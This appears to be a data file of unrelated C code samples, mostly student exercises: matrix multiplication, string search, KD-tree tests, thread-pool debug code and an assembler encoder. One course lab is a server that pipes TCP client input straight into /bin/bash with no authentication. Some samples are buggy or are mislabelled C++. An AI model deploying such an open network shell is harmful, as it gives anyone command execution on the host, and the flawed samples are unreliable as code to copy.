// End of repetition
// Print the pruduct.
int main() {
int p = 1;
int n = 10;
do{
p = p * n;
n = n-1;
}while(n>=2);
printf("Product: %i",p);
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "include/global_config.h"
#include "include/threadtab.h"
/* for testing */
#include "include/threadtab_structs.h"
#define __STDC_FORMAT_MACROS
#include <inttypes.h>
int main(void){
threadtab *tb = threadtab_init();
threadtab_insert(tb, create_thread_data("helloWorld", 7));
threadtab_insert(tb, create_thread_data("bob", 4));
threadtab_insert(tb, create_thread_data("chae", 2));
threadtab_insert(tb, create_thread_data("jubb", 5));
threadtab_insert(tb, create_thread_data("alpastor", 17));
/* traverse tb and print out */
printf("Total Size of Array: %" PRIu64 "\n", tb->length);
struct thread_data *cur = tb->head;
int i = -1;
while(cur != NULL){
printf("%d::%" PRIu64 ":\t", ++i, cur->length);
printf("%" PRIu64 "\t%s\n", cur->offset, cur->name);
cur = cur->next;
}
threadtab_destroy(tb);
return 0;
}
|
C | static int mem[4096] = {0};
static int mpos = 0;
static int disk[8191] = {0};
static int dpos = 0;
int get_mem()
{
static int init = 4095;
if (init) return init--;
else return (mpos) ? mem[mpos--] : 0;
}
void put_mem(int x)
{
mem[++mpos] = x;
}
int get_disk()
{
static int init = 4095;
if (init) return init--;
else return (dpos) ? disk[dpos--] : 0;
}
void put_disk(int x)
{
disk[++dpos] = x;
} |
C | #include <stdio.h>//Importas librerias.
#include <stdlib.h>
int main(int argc, char** args){
int **p; //Puntero representa una matriz
int **q; //Puntero representa una matriz
int **r; //Puntero representa matriz producto
int af, ac, bf, bc, i, j, k; //Variables para definir las matrices y utilizar las en los ciclos for.
printf("Numero de renglonesde la matriz P-->");
scanf("%d", &af);
printf("Numero de columnas de la matriz P-->");
scanf("%d", &ac);
printf("Numero de renglones de la matriz Q-->");
scanf("%d", &bf);
printf("Numero de columnas de la matriz Q-->");
scanf("%d", &bc);
//Verificacion de dimensiones de matrices para saber que es posible multiplicar dichas matrices.
if(ac!=bf){
printf("no es posible hacer la multiplicación\n");
system("pause");
return 0;
}
//Creamos las matrices con memoria dinamica.
p = (int **) malloc(af * sizeof(int *));
q = calloc(bf, sizeof(int));
r = malloc(0);
r = realloc(r,af * sizeof(int *));
//Verificamos que tengan espacio suficiente.
if(p==NULL)
{
printf("Insuficiente Espacio de Memoria"); exit(-1);
}
//Verificamos que tengan espacio suficiente.
if(q==NULL)
{
printf("Insuficiente Espacio de Memoria"); exit(-1);
}
//Verificamos que tengan espacio suficiente.
if(r==NULL)
{
printf("Insuficiente Espacio de Memoria"); exit(-1);
}
//Inicializas el apuntador como arreglo de arreglos con el valor que proporciono el usuario.
for(i=0; i<af; i++)
{
p[i] = (int *)malloc(ac*sizeof (int));
r[i] = (int *)malloc(bc*sizeof (int));
if(p[i]==NULL)
{
printf("Insuficiente Espacio de Memoria"); exit(-1);
}
if(r[i]==NULL)
{
printf("Insuficiente Espacio de Memoria"); exit(-1);
}
}
//Inicializas el apuntador como arreglo de arreglos con el valor que proporciono el usuario.
for(i=0; i<bf; i++)
{
q[i] = calloc(bc, sizeof(int));
if(q[i]==NULL)
{
printf("Insuficiente Espacio de Memoria"); exit(-1);
}
}
/*Rutina para cargar los valores*/
for(i=0;i<af;i++){
for(j=0;j<ac;j++){
printf("Escribe el valor de la matriz P (%d, %d)-->",i+1, j+1);
scanf ("%d",&p[i][j]);
}
}
printf("\n\n");
for(i=0;i<bf;i++){
for(j=0;j<bc;j++){
printf("Escribe el valor de la matriz Q (%d, %d)-->", i+1, j+1);
scanf ("%d",&q[i][j]);
}
}
//For para calcular el producto de las matrices.
for(i=0;i<af;i++){
for(j=0;j<bc;j++){
r[i][j]=0;
for(k=0;k<ac;k++){
r[i][j]=(r[i][j]+(p[i][k]*q[k][j]));
}
}
}
/*Rutina para imprimir*/
printf("\n\n\t\t\t Matriz P");
printf("\n");
for(i=0;i<af;i++){
printf("\n\t\t");
for(j=0;j<ac;j++){
printf(" %6d ", p[i][j]);
}
}
//Imprimes los valores correspondientes.
printf("\n\n\t\t\t Matriz Q");
printf("\n");
for(i=0;i<bf;i++){
printf("\n\t\t");
for(j=0;j<bc;j++){
printf(" %6d ", q[i][j]);
}
}
//Imprimes los valores correspondientes.
printf("\n\n\t\t\t Matriz R");
printf("\n");
for(i=0;i<af;i++){
printf("\n\t\t");
for(j=0;j<bc;j++){
printf(" %6d ", r[i][j]);
}
}
printf("\n");
//Liberas memoria del apuntador p
for (i=0; i<af; i++)
free(p[i]) ;
//Liberas mamoria del apuntador q.
for (i=0; i<bf; i++)
free(q[i]) ;
//Liberas memoria del apuntador r.
for (i=0; i<af; i++)
free(r[i]) ;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* encode_tokens_2.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: schornon <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/06/01 16:12:38 by schornon #+# #+# */
/* Updated: 2019/06/18 16:20:39 by schornon ### ########.fr */
/* */
/* ************************************************************************** */
#include "../../../includes/op.h"
#include "../../../includes/asm.h"
int binstr_to_int(char *binstr)
{
int i;
int j;
int res;
res = 0;
j = 0;
i = 7;
while (i >= 0)
{
res += (ft_pow(2, j)) * (binstr[i] - '0');
j++;
i--;
}
return (res);
}
void connect_in_dir_whith_label(t_s *s, char *tok_type, int k)
{
t_tok *tok;
t_tok *tmp;
tok = s->t;
while (tok)
{
if (ft_strcmp(tok->type, tok_type) == 0)
{
tmp = s->t;
while (tmp)
{
if (ft_strcmp(tmp->type, "LABEL") == 0)
if (ft_strncmp(&tok->con[k], tmp->con,
ft_strlen(&tok->con[k])) == 0 &&
tmp->con[ft_strlen(&tok->con[k])] == LABEL_CHAR)
{
tok->dir_lbl = tmp;
break ;
}
tmp = tmp->next;
}
}
tok = tok->next;
}
}
void encode_arg(t_s *s, t_tok *tok)
{
if (ft_strcmp(tok->type, "REGISTER") == 0)
tok->code = ft_atoi(&tok->con[1]);
else if (ft_strcmp(tok->type, "DIRECT_LABEL") == 0)
encode_arg_in_dir_label(s, tok, 2);
else if (ft_strcmp(tok->type, "DIRECT") == 0)
tok->code = ft_atoi(&tok->con[1]);
else if (ft_strcmp(tok->type, "INDIRECT") == 0)
tok->code = ft_atoi(tok->con);
else if (ft_strcmp(tok->type, "INDIRECT_LABEL") == 0)
encode_arg_in_dir_label(s, tok, 1);
}
t_tok *encode_instruction_2(t_s *s, t_tok *tok)
{
t_tok *tok_i;
tok_i = tok;
tok = tok->next;
while (tok && ft_strcmp(tok->type, "INSTRUCTION") != 0)
{
encode_arg(s, tok);
if (tok->next == NULL)
break ;
tok = tok->next;
}
return (tok);
}
void encode_tokens_2(t_s *s)
{
t_tok *tok;
connect_in_dir_whith_label(s, "DIRECT_LABEL", 2);
connect_in_dir_whith_label(s, "INDIRECT_LABEL", 1);
tok = s->t;
while (tok != NULL)
{
if (ft_strcmp(tok->type, "INSTRUCTION") == 0)
tok = encode_instruction_2(s, tok);
else if (tok != NULL)
tok = tok->next;
if (tok->next == NULL)
break ;
}
}
|
C | #include "holberton.h"
/**
* _strstr - function finds the first occurrence
* of the substring needle in the string haystack.
* @haystack: Source string.
* @needle: String to look for.
* Return: Remaining string from point character occurs.
*/
char *_strstr(char *haystack, char *needle)
{
unsigned int i, ii;
if (needle[0] == '\0')
return (haystack);
for (i = 0; haystack[i] != '\0'; i++)
{
for (ii = 0; needle[ii] == haystack[i + ii]; ii++)
{
if (needle[ii + 1] == '\0')
return (haystack + i);
}
}
return (0);
}
|
C | #include <stdio.h>
#define MOUTHS 12
int main(void)
{
int days[MOUTHS] = { 31, 28, [4] = 31, 30, 31, [1] = 29};
int i;
for (i = 0; i < MOUTHS; i++)
{
printf("%2d %d\n", i+1, days[i]);
}
return 0;
} |
C | //
// Created by Noa Biton on 3/27/2017.
//
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include "unit_test_util.h"
#include "../SPKDTree.h"
static SPKDArray *createArr() {
//int d = 3, n = 8
int d = 3, n = 3;
SPPoint **arr = (SPPoint **) malloc(sizeof(SPPoint *) * n);
double *d1 = (double *) malloc(sizeof(double) * d);
d1[0] = 3, d1[1] = 2, d1[2] = 1;
SPPoint *p1 = spPointCreate(d1, d, 0);
arr[0] = p1;
double *d2 = (double *) malloc(sizeof(double) * d);
d2[0] = 0, d2[1] = 8, d2[2] = 4;
SPPoint *p2 = spPointCreate(d2, d, 0);
arr[1] = p2;
double *d3 = (double *) malloc(sizeof(double) * d);
d3[0] = -5, d3[1] = 0, d3[2] = -10;
SPPoint *p3 = spPointCreate(d3, d, 0);
arr[2] = p3;
SPKDArray *a = spKdArrayInit(arr, n);
free(d1);
free(d2);
free(d3);
free(arr);
return a;
}
static SPKDArray *createBigArr() {
int d = 3, n = 8;
SPPoint **arr = (SPPoint **) malloc(sizeof(SPPoint *) * n);
double *d1 = (double *) malloc(sizeof(double) * d);
d1[0] = 3, d1[1] = 7, d1[2] = 1;
SPPoint *p1 = spPointCreate(d1, d, 0);
arr[0] = p1;
double *d2 = (double *) malloc(sizeof(double) * d);
d2[0] = 8, d2[1] = 1, d2[2] = 1;
SPPoint *p2 = spPointCreate(d2, d, 0);
arr[1] = p2;
double *d3 = (double *) malloc(sizeof(double) * d);
d3[0] = 6, d3[1] = 6, d3[2] = 2;
SPPoint *p3 = spPointCreate(d3, d, 0);
arr[2] = p3;
double *d4 = (double *) malloc(sizeof(double) * d);
d4[0] = 2, d4[1] = 6, d4[2] = 4;
SPPoint *p4 = spPointCreate(d4, d, 0);
arr[3] = p4;
double *d5 = (double *) malloc(sizeof(double) * d);
d5[0] = 2, d5[1] = 7, d5[2] = 1;
SPPoint *p5 = spPointCreate(d5, d, 0);
arr[4] = p5;
double *d6 = (double *) malloc(sizeof(double) * d);
d6[0] = 9, d6[1] = 8, d6[2] = 8;
SPPoint *p6 = spPointCreate(d6, d, 0);
arr[5] = p6;
double *d7 = (double *) malloc(sizeof(double) * d);
d7[0] = 5, d7[1] = 7, d7[2] = 1;
SPPoint *p7 = spPointCreate(d7, d, 0);
arr[6] = p7;
double *d8 = (double *) malloc(sizeof(double) * d);
d8[0] = 5, d8[1] = 6, d8[2] = 3;
SPPoint *p8 = spPointCreate(d8, d, 0);
arr[7] = p8;
SPKDArray *a = spKdArrayInit(arr, n);
free(d1);
free(d2);
free(d3);
free(d4);
free(d5);
free(d6);
free(d7);
free(d8);
free(arr);
return a;
}
static bool testBuildTree() {
SPKDArray *a = createArr();
// SPKDTree *tree = *spKdTreeBuild(a, conf);
SP_KD_TREE_SPLIT_METHOD method = MAX_SPREAD;
SPKDTree *tree = buildTree(a, method, 3);
ASSERT_TRUE(tree->d == 2);
ASSERT_TRUE(tree->data == NULL);
ASSERT_TRUE(tree->left->right->data != NULL);
SPPoint *point = tree->left->right->data;
ASSERT_TRUE(spPointGetAxisCoor(point, 0) == 3);
ASSERT_TRUE(spPointGetAxisCoor(point, 1) == 2);
ASSERT_TRUE(spPointGetAxisCoor(point, 2) == 1);
spKdTreeDestroy(tree);
SP_KD_TREE_SPLIT_METHOD method2 = INCREMENTAL;
a = createArr();
tree = buildTree(a, method2, 1);
ASSERT_TRUE(tree->left->right->data != NULL);
point = tree->left->right->data;
ASSERT_TRUE(spPointGetAxisCoor(point, 0) == 3);
ASSERT_TRUE(spPointGetAxisCoor(point, 1) == 2);
ASSERT_TRUE(spPointGetAxisCoor(point, 2) == 1);
spKdTreeDestroy(tree);
return true;
}
static bool testFindHighestSpreadDimension() {
SPKDArray *a = createArr();
int highDim = findHighestSpreadDimension(a);
ASSERT_TRUE(highDim == 2);
spKdArrayPointsDestroy(a);
spKdArrayDestroy(a);
a = createBigArr();
highDim = findHighestSpreadDimension(a);
ASSERT_TRUE(highDim == 0);
spKdArrayPointsDestroy(a);
spKdArrayDestroy(a);
return true;
}
static bool testIsLeaf() {
SPKDTree *node = (SPKDTree *) malloc(sizeof(SPKDTree));
assert(node != NULL);
node->left = NULL;
node->right = NULL;
ASSERT_TRUE(isLeaf(node));
SPKDTree *leftNode = (SPKDTree *) malloc(sizeof(SPKDTree));
assert(leftNode != NULL);
node->left = leftNode;
ASSERT_FALSE(isLeaf(node));
free(node);
free(leftNode);
return true;
}
static bool testSpKdTreeKNNSearch() {
SPKDArray *b = createBigArr();
SPBPQueue *bpq = spBPQueueCreate(3);
SP_KD_TREE_SPLIT_METHOD method = MAX_SPREAD;
double data_test[3] = {-1.0, 2.0, 4.0};
int dim_test = 3;
int index_test = 1;
SPPoint *point = spPointCreate((double *) data_test, dim_test, index_test);
SPKDTree *tree = buildTree(b, method, 1);
spKdTreeKNNSearch(tree, bpq, point);
ASSERT_TRUE(spBPQueueIsFull(bpq));
BPQueueElement *currentSourceElement = (BPQueueElement *) malloc(sizeof(BPQueueElement));
spBPQueuePeek(bpq, currentSourceElement);
spBPQueueDequeue(bpq);
ASSERT_TRUE(currentSourceElement->value == 25);
spBPQueuePeek(bpq, currentSourceElement);
spBPQueueDequeue(bpq);
ASSERT_TRUE(currentSourceElement->value == 43);
spBPQueuePeek(bpq, currentSourceElement);
spBPQueueDequeue(bpq);
ASSERT_TRUE(currentSourceElement->value == 50);
spBPQueueDestroy(bpq);
free(currentSourceElement);
spPointDestroy(point);
spKdTreeDestroy(tree);
return true;
}
int main() {
RUN_TEST(testBuildTree);
RUN_TEST(testSpKdTreeKNNSearch);
RUN_TEST(testFindHighestSpreadDimension);
RUN_TEST(testIsLeaf);
return 0;
}
|
C | /*
* 1.cpp
*
* Created on: 2012-10-8
* Author: Lixurong
*/
int runnian( int a );
int main()
{
int n, k;//????
cin >> n;//????
k = n*(n-1)/2;//????
double a[n][3];//????
double b[k][3];//????
for( int i=0; i<n; i++ )//????
{
cin >> a[i][0] >> a[i][1] >> a[i][2];
}
int p=0;
for( int i=0; i<n-1; i++ )//??????
{
for( int j=i+1; j<n; j++ )
{
b[p][1]=i;
b[p][2]=j;
b[p][0]=sqrt(pow((a[i][0]-a[j][0]),2)+pow((a[i][1]-a[j][1]),2)+pow((a[i][2]-a[j][2]),2));
p++;
}
}
for( int i=0; i<k-1; i++ )//????
{
for( int j=0;j<k-1; j++ )
{
if( b[j][0]<b[j+1][0] )
{
double h=b[j][0];
b[j][0]=b[j+1][0];
b[j+1][0]=h;
int s=(int)b[j][1];
b[j][1]=b[j+1][1];
b[j+1][1]=s;
int e=(int)b[j][2];
b[j][2]=b[j+1][2];
b[j+1][2]=e;
}
}
}
for( int i=0; i<k; i++ )//????
{
cout << "(" << fixed << setprecision(0) << a[(int)b[i][1]][0] << "," << a[(int)b[i][1]][1] << "," << a[(int)b[i][1]][2]
<< ")-(" << a[(int)b[i][2]][0] << "," << a[(int)b[i][2]][1] << "," << a[(int)b[i][2]][2]
<< ")=" << fixed << setprecision(2) << b[i][0];
if( i!=k-1 )
cout << endl;
}
return 0;
}
|
C | #if 0
static DC_notifier_t g_notif;
void thread_func (DC_thread_t *th, void*data)
//void func (void *data)
{
int i= 10;
//DC_notifier_wait (&g_notif, 0);
while (i) {
printf ("Thread %u\n", pthread_self ());
usleep (1000000);
i--;
}
}
void task_func (DC_task_t *task, void *data)
{
thread_func (NULL, NULL);
}
void thread_status (DC_thread_t *th, void *data, int status)
{
const char *statusstr[] = {
"IDLE",
"RUNNING",
"TIMEOUT",
"EXITING",
"EXITED"
};
printf ("Thread status: %s\n", statusstr[status]);
}
int main ()
{
//DC_notifier_t notif;
int i=0;
// DC_thread_t thread;
//pthread_t thread;
DC_thread_pool_manager_t pool_manager;
//DC_notifier_init (&g_notif, NULL);
DC_thread_pool_manager_init (&pool_manager, 100, NULL);
//pthread_create (&thread, NULL, func, NULL);
/// DC_thread_init (&thread, thread_status, 1000, NULL);
// DC_thread_run (&thread, thread_func, NULL);
for (i=0; i<120; i++) {
if (DC_thread_pool_manager_run_task (&pool_manager, task_func, NULL, NULL, NULL, 0) == ERR_OK) {
//usleep (10000);
printf ("Allocated thread successfully\n");
}
}
sleep (1000);
DC_thread_pool_manager_destroy (&pool_manager);
// DC_thread_destroy (&thread);
//DC_notifier_notify_all (&thread.PRI (notif_object));
//DC_notifier_notify_all (&g_notif);
//DC_notifier_destroy (&g_notif);
return 0;
}
#endif
#ifdef LIST_DEBUG
struct Node {
DC_list_elem_t list;
char name[255];
};
void print_list (DC_list_t *list)
{
DC_list_elem_t *elem = NULL;
void *saveptr = NULL;
printf ("There are %d elements: ( ", list->count);
while ((elem = DC_list_next_object (list, &saveptr))) {
printf ("%s, ", CONTAINER_OF(elem,struct Node, list)->name);
}
printf (" )\n");
}
int main () {
struct Node nodes[10];
DC_list_elem_t *elem = NULL;
struct Node *nodeptr;
int i = 0;
void *saveptr = NULL;
DC_list_t list;
if (DC_list_init (&list, NULL, NULL, NULL) < 0) {
printf ("DC_list_init failed\n");
exit (1);
}
for (i=0; i<10; i++) {
sprintf (nodes[i].name, "%d", i);
DC_list_add_object (&list, &nodes[i].list);
}
print_list (&list);
printf ("Insert 56 at index 8\n");
struct Node tmpnode;
sprintf (tmpnode.name, "56");
DC_list_insert_object_at_index (&list, &tmpnode.list, 8);
print_list (&list);
elem = DC_list_get_object_at_index (&list, 10);
printf ("The element that at the index of 11 is %s\n", CONTAINER_OF(elem, struct Node, list)->name);
printf ("Remove the object at index 5\n");
DC_list_remove_object_at_index (&list, 5);
print_list (&list);
printf ("Remove all objects\n");
DC_list_remove_all_objects (&list);
print_list (&list);
DC_list_destroy (&list);
return 0;
}
#endif
#ifdef THREAD_DEBUG
#include "thread.h"
void __thread_func (void *data)
{
int i = 0;
while (1) {
i++;
printf (" %d The status is : %d\n", (int)data, time (NULL)); sleep (1);
if (i>10) break;}
}
int main ()
{
/*
DC_thread_t thread;
DC_thread_init (&thread);
DC_thread_run (&thread, __thread_func, &thread);
sleep (10);
DC_thread_destroy (&thread);
sleep (1);
*/
int ret;
DC_task_manager_t manager;
DC_task_manager_init (&manager, 3);
int i;
for (i=0; i<5; i++) {
ret = DC_task_manager_run_task (&manager, __thread_func, (void*)i, 1);
if (ret == ERR_BUSY) {
printf ("Can not run the task at index: %d\n", i);
}
}
sleep (10);
DC_task_manager_destroy (&manager);
return 0;
}
#endif
|
C |
//o(n^3)
maxsofar = 0;
for (i = 0; i < n; i++)
for (j = i; j < n; j++) {
sum = 0;
for (k = i; k <= j; k++)
sum += A[k];
if (sum > maxsofar)
maxsofar = sum;
} |
C | // NAME: Alex Chen
// EMAIL: [email protected]
// ID: 005299047
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <getopt.h>
#include <errno.h>
#include <string.h>
#include <poll.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <zlib.h>
#define KILL '\003'
#define EOT '\004'
int to_shell[2], from_shell[2], rc, compress_flag = 0, sock_fd = -1, temp_sock_fd;
z_stream to_client, from_client;
char shell_prog[] = "/bin/bash";
const char correct_usage[] = "./lab1b-server --port=PORT [--compress]";
const char close_to_shell_error[] = "ERROR: An end of the pipe to shell could not be closed";
const char close_from_shell_error[] = "ERROR: An end of the pipe from shell could not be closed";
const char fork_error[] = "ERROR: Terminal process could not be forked";
const char kill_error[] = "ERROR: Process could not be killed";
const char wait_error[] = "ERROR: Termination of the child shell cannot be waited for";
const char poll_error[] = "ERROR: The socket and pipes could not be polled";
const char poll_stdin_error[] = "ERROR: There was an error reading from the client";
const char missing_port_error[] = "ERROR: port argument is missing";
const char dup_error[] = "ERROR: File descriptors could not be duplicated";
const char run_shell_error[] = "ERROR: The specified shell could not be executed";
const char compression_error[] = "ERROR: Compression could not occur";
const char decompression_error[] = "ERROR: Decompression could not occur";
const char socket_creation_error[] = "ERROR: Socket could not be created";
// Check for error, and reset terminal modes before exiting
void check_return_error(int status, const char *msg, int exit_status) {
if (status == -1) {
fprintf(stderr, "%s\n", msg);
exit(exit_status);
}
}
// Parse all options and save in function variables
void get_options(int argc, char *argv[], char **port) {
int c;
const char optstring[] = ":p:c";
struct option longopts[] = {
{"port", required_argument, NULL, 'p'},
{"compress", no_argument, &compress_flag, 1},
{0, 0, 0, 0}
};
while ((c = getopt_long(argc, argv, optstring, longopts, NULL)) != -1) {
switch (c) {
case 'p': // input option found
*port = optarg;
break;
case ':': // missing option argument
fprintf(stderr, "%s: option '-%c' requires an argument\n", argv[0], optopt);
exit(1);
case '?': // invalid option
fprintf(stderr, "%s: option '-%c' is invalid: ignored\ncorrect usage (shell option is optional): %s\n", \
argv[0], optopt, correct_usage);
exit(1);
default:
break;
}
}
}
// Wait for child to exit and get exit status
void harvest_shell_exit() {
int wstatus;
// check_return_error(waitpid(rc, &wstatus, 0), wait_error, 1);
waitpid(rc, &wstatus, 0);
fprintf(stderr, "SHELL EXIT SIGNAL=%d STATUS=%d\n", WTERMSIG(wstatus), WEXITSTATUS(wstatus));
}
// Handles SIGPIPE error
void sigpipe_handler(int signum) {
if (signum == SIGPIPE) {
fprintf(stderr, "SIGPIPE error: shell has exited");
close(to_shell[1]);
close(from_shell[0]);
// check_return_error(close(to_shell[1]), close_to_shell_error, 1);
// check_return_error(close(from_shell[0]), close_from_shell_error, 1);
harvest_shell_exit();
exit(0);
}
}
// Connect client to server
void connect_server(unsigned int port) {
struct sockaddr_in my_addr, their_addr;
unsigned int sin_size;
temp_sock_fd = socket(AF_INET, SOCK_STREAM, 0);
check_return_error(temp_sock_fd, socket_creation_error, 1);
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(port);
my_addr.sin_addr.s_addr = INADDR_ANY;
memset(my_addr.sin_zero, '\0', sizeof(my_addr.sin_zero));
// Bind address to created socket
int ret = bind(temp_sock_fd, (struct sockaddr *) &my_addr, sizeof(my_addr));
check_return_error(ret, strerror(errno), -1);
// Listen for incoming connections on socket
ret = listen(temp_sock_fd, 8);
// Accept connection from client and communicate using *new_fd
sin_size = sizeof(their_addr);
sock_fd = accept(temp_sock_fd, (struct sockaddr *) &their_addr, (socklen_t *) &sin_size);
check_return_error(sock_fd, strerror(errno), -1);
// shutdown(temp_sock_fd, SHUT_RDWR);
}
// Read from keyboard or shell, depending on source
int read_from_source(char source) {
const int buf_size = 256;
int bytes_read, bytes_written, EOT_received = 0;
char buffer[buf_size], lf = '\n', map_cr_lf[] = "\r\n";
if (source == 'c') {
bytes_read = read(sock_fd, buffer, buf_size);
}
else {
bytes_read = read(from_shell[0], buffer, buf_size);
}
check_return_error(bytes_read, strerror(errno), 1);
if (source == 'c') {
if (compress_flag) {
char decompression_buffer[buf_size*4];
from_client.avail_in = bytes_read;
from_client.next_in = (unsigned char *) buffer;
from_client.avail_out = buf_size*4;
from_client.next_out = (unsigned char *) decompression_buffer;
while (from_client.avail_in > 0) {
inflate(&from_client, Z_SYNC_FLUSH);
}
for (int i=0; (unsigned int) i<buf_size*4 - from_client.avail_out; i++) {
if (decompression_buffer[i] == KILL) {
check_return_error(kill(rc, SIGINT), kill_error, 1);
}
else if (decompression_buffer[i] == EOT) {
EOT_received = 1;
}
else if (decompression_buffer[i] == '\r' || decompression_buffer[i] == '\n') {
bytes_written = write(to_shell[1], &lf, 1);
check_return_error(bytes_written, strerror(errno), 1);
}
else {
bytes_written = write(to_shell[1], &decompression_buffer[i], 1);
check_return_error(bytes_written, strerror(errno), 1);
}
}
}
else {
for (int i=0; i<bytes_read; i++) {
if (buffer[i] == KILL) {
check_return_error(kill(rc, SIGINT), kill_error, 1);
}
else if (buffer[i] == EOT) {
EOT_received = 1;
}
else if (buffer[i] == '\r' || buffer[i] == '\n') {
bytes_written = write(to_shell[1], &lf, 1);
check_return_error(bytes_written, strerror(errno), 1);
}
else {
bytes_written = write(to_shell[1], &buffer[i], 1);
check_return_error(bytes_written, strerror(errno), 1);
}
}
}
}
if (source == 's') {
int count = 0;
int j = 0;
for (int i = 0; i < bytes_read; i++) {
if (buffer[i] == EOT) { //EOF from shell
EOT_received = 1;
}
else if (buffer[i] == '\n') {
if (compress_flag) {
char compression_buffer[256];
to_client.avail_in = count;
to_client.next_in = (unsigned char *) (buffer + j);
to_client.avail_out = 256;
to_client.next_out = (unsigned char *) compression_buffer;
while (to_client.avail_in > 0) {
deflate(&to_client, Z_SYNC_FLUSH);
}
bytes_written = write(sock_fd, compression_buffer, 256 - to_client.avail_out);
check_return_error(bytes_written, strerror(errno), 1);
char compression_buffer2[256];
char temp[2] = {'\r', '\n'};
to_client.avail_in = 2;
to_client.next_in = (unsigned char *) temp;
to_client.avail_out = 256;
to_client.next_out = (unsigned char *) compression_buffer2;
while (to_client.avail_in > 0) {
deflate(&to_client, Z_SYNC_FLUSH);
}
bytes_written = write(sock_fd, compression_buffer2, 256 - to_client.avail_out);
check_return_error(bytes_written, strerror(errno), 1);
}
else {
bytes_written = write(sock_fd, buffer + j, count);
check_return_error(bytes_written, strerror(errno), 1);
bytes_written = write(sock_fd, map_cr_lf, 2);
check_return_error(bytes_written, strerror(errno), 1);
}
j += count + 1;
count = 0;
continue;
}
count++;
}
bytes_written = write(sock_fd, buffer+j, count);
check_return_error(bytes_written, strerror(errno), 1);
}
return EOT_received;
}
// Fork process and execute shell program on child
// Create two pipes between the parent and child processes
void create_child_and_talk() {
check_return_error(pipe(to_shell), strerror(errno), 1);
check_return_error(pipe(from_shell), strerror(errno), 1);
signal(SIGPIPE, sigpipe_handler);
rc = fork();
check_return_error(rc, fork_error, 1);
if (rc == 0) { // child process
check_return_error(close(from_shell[0]), close_from_shell_error, 1); // close read end of pipe from child
check_return_error(close(to_shell[1]), close_to_shell_error, 1); // close write end of pipe to child
// redirect read end of to_shell to child's stdin
check_return_error(dup2(to_shell[0], STDIN_FILENO), dup_error, 1);
check_return_error(close(to_shell[0]), close_to_shell_error, 1);
// redirect child's stdout to write end of from_shell
check_return_error(dup2(from_shell[1], STDOUT_FILENO), dup_error, 1);
// redirect child's stderr to write end of from_shell
check_return_error(dup2(from_shell[1], STDERR_FILENO), dup_error, 1);
check_return_error(close(from_shell[1]), close_from_shell_error, 1); // close extra from_shell write end
char *shell_args[2] = {shell_prog, NULL};
check_return_error(execv(shell_prog, shell_args), run_shell_error, 1);
}
else { // parent process, has own copy of file descriptors
close(from_shell[1]); // close write end of pipe to parent
close(to_shell[0]); // close read end of pipe from parent
// Set up polling to read data from keyboard and from shell
// POLLIN: data to be read
// POLLUP: reading from pipe whose write end has been closed
// POLLERR: writing to a pipe whose read end has been closed
struct pollfd pollfds[2];
pollfds[0].fd = sock_fd;
pollfds[0].events = POLLIN | POLLHUP | POLLERR;
pollfds[0].revents = 0;
pollfds[1].fd = from_shell[0];
pollfds[1].events = POLLIN | POLLHUP | POLLERR;
pollfds[1].revents = 0;
int EOT_received = 0, wstatus;
while (78) {
if (waitpid(rc, &wstatus, WNOHANG) != 0) {
break;
}
check_return_error(poll(pollfds, 2, 0), poll_error, 1);
if (pollfds[0].revents & POLLIN) {
if (read_from_source('c') == 1) { // from client
EOT_received = 1;
}
}
else if (pollfds[0].revents & (POLLHUP | POLLERR)) {
fprintf(stderr, poll_stdin_error);
exit(1);
}
if (pollfds[1].revents & POLLIN) {
if (read_from_source('s') == 1) { // from shell
EOT_received = 1;
}
}
else if (pollfds[1].revents & (POLLHUP | POLLERR)) {
break;
}
if (EOT_received) {
break;
}
}
// Close remaining open pipes of parent
check_return_error(close(to_shell[1]), close_to_shell_error, 1);
check_return_error(close(from_shell[0]), close_from_shell_error, 1);
harvest_shell_exit();
shutdown(sock_fd, SHUT_RDWR);
shutdown(temp_sock_fd, SHUT_RDWR);
}
}
// Initialize compression streams
void initialize_compression() {
if (compress_flag) {
to_client.zalloc = Z_NULL;
to_client.zfree = Z_NULL;
to_client.opaque = Z_NULL;
if (deflateInit(&to_client, Z_DEFAULT_COMPRESSION) != Z_OK) {
fprintf(stderr, compression_error);
exit(1);
}
from_client.zalloc = Z_NULL;
from_client.zfree = Z_NULL;
from_client.opaque = Z_NULL;
if (inflateInit(&from_client) != Z_OK) {
fprintf(stderr, decompression_error);
exit(1);
}
}
}
// CLose compression streams
void end_compression() {
if (compress_flag) {
deflateEnd(&to_client);
inflateEnd(&from_client);
}
}
int main(int argc, char **argv) {
char *port = '\0';
get_options(argc, argv, &port);
if (port == NULL) {
check_return_error(-1, missing_port_error, 1);
}
int port_num = atoi(port);
initialize_compression();
connect_server(port_num);
create_child_and_talk();
end_compression();
exit(0);
}
|
C | /**
* @file
* Ein-/Ausgabe-Modul.
* Das Modul kapselt die Ein- und Ausgabe-Funktionalitaet (insbesondere die GLUT-
* Callbacks) des Programms.
*
* @author Christopher Blöcker
* @author Julius Beckmann
*/
/* ---- System Header einbinden ---- */
#include <stdlib.h>
#include <stdio.h>
#include <GL/glut.h>
/* ---- Eigene Header einbinden ---- */
#include "io.h"
#include "types.h"
#include "logic.h"
#include "scene.h"
/* ----------------------------------------------------------------------------
* Konstanten
* -------------------------------------------------------------------------- */
#define WINDOW_X (500)
#define WINDOW_Y (25)
/** Anzahl der Aufrufe der Timer-Funktion pro Sekunde */
#define TIMER_CALLS_PS 60
/* ----------------------------------------------------------------------------
* Funktionen
* ----------------------------------------------------------------------------
* Static
* -------------------------------------------------------------------------- */
/**
* Setzen der Projektionsmatrix.
* Setzt die Projektionsmatrix unter Berücksichtigung des Seitenverhältnisses
* des Anzeigefensters, sodass das Seitenverhältnisse der Szene unverändert
* bleibt und gleichzeitig entweder in x- oder y-Richtung der Bereich von -1
* bis +1 zu sehen ist.
*
* @param[in] aspect Seitenverhaeltnis des Anzeigefensters.
*/
static void setProjection(GLdouble aspect)
{
